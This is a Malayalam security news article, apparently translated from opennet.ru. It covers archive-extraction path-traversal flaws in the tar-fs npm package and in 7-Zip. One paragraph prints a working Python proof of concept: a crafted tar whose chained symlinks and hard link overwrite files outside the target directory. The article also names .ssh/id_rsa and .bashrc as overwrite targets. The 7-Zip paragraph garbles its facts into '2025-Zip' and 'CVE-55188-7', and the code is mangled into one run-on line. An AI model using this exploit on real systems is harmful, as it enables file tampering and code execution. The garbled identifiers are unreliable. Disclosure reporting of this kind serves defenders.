അടിസ്ഥാന ഡയറക്ടറിക്ക് പുറത്ത് ഫയലുകൾ എഴുതാൻ അനുവദിക്കുന്ന tar-fs, 7-Zip എന്നിവയിലെ ദുർബലതകൾ

tar-fs NPM പാക്കേജിൽ ഒരു ദുർബലത (CVE-2025-48387) തിരിച്ചറിഞ്ഞിട്ടുണ്ട്, ഇത് പ്രത്യേകം രൂപകൽപ്പന ചെയ്ത tar ആർക്കൈവ് അൺപാക്ക് ചെയ്യുമ്പോൾ, അൺപാക്ക് ചെയ്യുന്ന ഡയറക്ടറിയിൽ മാത്രം ഒതുങ്ങാത്ത FS ന്റെ ഏത് ഭാഗത്തേക്കും ഫയലുകൾ എഴുതാൻ അനുവദിക്കുന്നു (നിലവിലെ ഉപയോക്താവിന്റെ ആക്‌സസ് അവകാശങ്ങൾ അനുവദിക്കുന്നിടത്തോളം). നിലവിലുള്ള ഫയലുകൾ ഓവർറൈറ്റ് ചെയ്യുന്നതിനും ദുർബലത ഉപയോഗിക്കാം, ഉദാഹരണത്തിന്, സിസ്റ്റത്തിൽ നിങ്ങളുടെ കോഡിന്റെ എക്സിക്യൂഷൻ സംഘടിപ്പിക്കുന്നതിന്, ഉപയോക്താവിന്റെ ഹോം ഡയറക്ടറിയിലെ ".ssh/id_rsa" അല്ലെങ്കിൽ ".bashrc" ഫയലുകൾ വീണ്ടും എഴുതാൻ കഴിയും.

tar-fs പാക്കേജ് ആഴ്ചയിൽ 23 ദശലക്ഷം തവണ ഡൗൺലോഡ് ചെയ്യപ്പെടുന്നു എന്നതും 1155 പ്രോജക്ടുകളിൽ ഒരു ആശ്രിതത്വമായി ഉപയോഗിക്കുന്നു എന്നതും കണക്കിലെടുക്കുമ്പോൾ ഈ പ്രശ്നം നിർണായകമാണെന്ന് വിലയിരുത്തപ്പെടുന്നു. മെയ് മാസത്തിൽ പുറത്തിറങ്ങിയ 3.0.9, 2.1.3, 1.16.5 പതിപ്പുകളിൽ ഈ ദുർബലത പരിഹരിച്ചു, പക്ഷേ ദുർബലതയെക്കുറിച്ചുള്ള വിവരങ്ങൾ ഏകദേശം 3 മാസങ്ങൾക്ക് ശേഷമാണ് വെളിപ്പെടുത്തിയത്.

ആർക്കൈവിലെ സിംബോളിക്, ഹാർഡ് ലിങ്കുകളുടെ പരിശോധനകൾ അൺപാക്ക് ചെയ്യുന്നതിനായി ലക്ഷ്യ ഡയറക്ടറിക്കപ്പുറത്തേക്ക് വ്യാപിക്കുന്നില്ലെന്ന് ഉറപ്പാക്കാൻ അവയ്ക്ക് മതിയായ പരിശോധനകൾ ഇല്ലാത്തതാണ് ഈ ദുർബലതയ്ക്ക് കാരണം. ചെക്കുകൾ മറികടക്കാൻ, രണ്ട് സിംബോളിക് ലിങ്കുകൾ ഉപയോഗിക്കുന്നു: ആദ്യത്തേത് ആർക്കൈവ് അൺപാക്ക് ചെയ്യുന്നതിനായി റൂട്ട് ഡയറക്ടറിയിലേക്ക് പോയിന്റ് ചെയ്യുന്നു ("."), രണ്ടാമത്തേത് ആദ്യത്തെ സിംബോളിക് ലിങ്കിന് ആപേക്ഷികമായി സൃഷ്ടിക്കുകയും അടിസ്ഥാന ഡയറക്ടറിക്കപ്പുറത്തേക്ക് വ്യാപിക്കാൻ പേരിൽ "../" പ്രതീകങ്ങൾ ഉപയോഗിക്കുകയും ചെയ്യുന്നു. ഉദാഹരണത്തിന്, ആദ്യ ലിങ്ക് "noop/noop/noop" "." ലേക്ക് പോയിന്റ് ചെയ്യുന്നു, രണ്ടാമത്തെ "noop/noop/noop/../../../" "./../../" ആയി വികസിപ്പിച്ചിരിക്കുന്നു. ആർക്കൈവിലെ ഫയലുകളുടെ ഓവർറൈറ്റിംഗ് ക്രമീകരിക്കുന്നതിന്, രണ്ടാമത്തെ സിംബോളിക് ലിങ്കുമായി താരതമ്യപ്പെടുത്തുമ്പോൾ ഒരു ബാഹ്യ ഫയലിലേക്ക് പോയിന്റ് ചെയ്യുന്ന ഒരു ഹാർഡ് ലിങ്ക് സൃഷ്ടിക്കാൻ കഴിയും. tarfile.open("poc.tar", mode="x") ഉപയോഗിച്ച് ടാർഫയൽ ഇറക്കുമതി ചെയ്യുക: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

2025-Zip ആർക്കൈവറിലും സമാനമായ ഒരു ദുർബലത (CVE-55188-7) കണ്ടെത്തി. അടിസ്ഥാന ഡയറക്ടറിക്ക് പുറത്ത് ഫയലുകൾ എഴുതാൻ, ഫയൽ പാത്തിൽ "../" എന്ന ക്രമമുള്ള സിംബോളിക് ലിങ്കുകളും 7-Zip-ന് ഉപയോഗിക്കാം. സിംബോളിക് ലിങ്കുകളായ zip, tar, 7z, rar എന്നിവയെ പിന്തുണയ്ക്കുന്ന 7-Zip ഉപയോഗിച്ച് ഏതെങ്കിലും ആർക്കൈവുകൾ അൺപാക്ക് ചെയ്യുമ്പോൾ പ്രശ്നം പ്രയോജനപ്പെടുത്താം. 7-Zip പതിപ്പ് 25.01-ൽ പ്രശ്നം പരിഹരിച്ചിട്ടുണ്ട്.

അവലംബം: opennet.ru